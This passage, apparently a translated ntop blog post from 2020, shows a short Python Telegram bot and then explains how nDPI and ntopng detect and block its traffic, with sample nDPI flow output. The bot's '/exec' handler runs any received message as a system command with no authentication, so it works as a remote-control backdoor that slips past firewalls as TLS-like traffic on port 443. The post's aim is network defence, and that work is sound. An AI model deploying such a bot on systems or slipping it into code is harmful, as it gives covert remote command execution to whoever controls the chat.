bot = Bot(token) def run(): """ Runs the function used to start the bot. """ MessageLoop(bot, { 'chat': on_chat_message } ).run_as_thread() print('Listening ...') while 1: time.sleep(10) #################################################################### def help(bot, chat_id): bot.sendMessage(chat_id, 'Available commands:') bot.sendMessage(chat_id, '/exec Execute remote command') #################################################################### def run_command(command): p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) return p.stdout.read().decode('utf-8') #################################################################### def on_chat_message(msg): """ Manages the predefined commands of the telegram bot. :param msg: message received from telegram. """ #print(msg) content_type, chat_type, chat_id = glance(msg) # # Check if the content_type of the message is a text if content_type == 'text': txt = msg['text'].lower() # # Switch construct to manage the various commands if txt.startswith("/exec"): cmd = txt[6:] bot.sendMessage(chat_id, 'Executing command ['+cmd+']...') bot.sendMessage(chat_id, run_command(cmd.split(' '))) else: help(bot, chat_id) run()
如你所见,你可以在远程系统上启动僵尸并执行任意命令。
假设现在你的一个同事让这个简单的僵尸在网络后面运行。防火墙会将此流量视为端口443或上的类似TLS的流量,并将其放行。
从上图可以看出,这个电报流量看起来像TLS,但它不是TLS,你可以利用证书、JA3等方面的检测。你可以想象在网络上运行这些简单工具的后果。从本质上讲,你的网络已经暴露了,而防火墙、流行的非基于DPI的IDS(如Suricata或Zeek)无法对这一点做什么。
幸运的是,nDPI可以检测到它
Detected protocols: Telegram packets: 156 bytes: 44034 flows: 2 Protocol statistics: Acceptable 44034 bytes 1 TCP 192.168.1.110:52671 <-> 149.154.167.91:443 [proto: 91.185/TLS.Telegram][cat: Chat/9][76 pkts/9307 bytes <-> 74 pkts/33973 bytes][Goodput ratio: 46/86][3.75 sec][bytes ratio: -0.570 (Download)][IAT c2s/s2c min/avg/max/stddev: 0/0 58/59 1817/1852 264/272][Pkt Len c2s/s2c min/avg/max/stddev: 66/70 122/459 846/1294 133/446] 2 TCP 192.168.1.110:52672 <-> 149.154.167.91:443 [proto: 91.185/TLS.Telegram][cat: Chat/9][4 pkts/445 bytes <-> 2 pkts/309 bytes][Goodput ratio: 38/55][0.07 sec][bytes ratio: 0.180 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/36 23/36 35/36 16/0][Pkt Len c2s/s2c min/avg/max/stddev: 66/74 111/154 235/235 72/80]
所以我们所有的ntop工具(如ntopng、nprobe……)都可以处理这个问题。现在你已经意识到你不再是闪闪发光的了,你有两个选择:
- 可见性(例如,使用ntopng)
- 使用ntopng Edge阻止此流量。
在ntopng中,您可以指定某个设备可以运行哪些协议。
因此,您可以在关键主机(如服务器)运行不需要的协议时产生警报,这包括nDPI支持的所有协议,因此包括Telegram。
如果你想看到更多安全导向的警报,你可以自定义用户脚本并启用你感兴趣的行为检查。
我们希望这可以帮助您保护网络安全,并且网络管理员不再盲目。
本文摘自ntop,写于2020年6月10日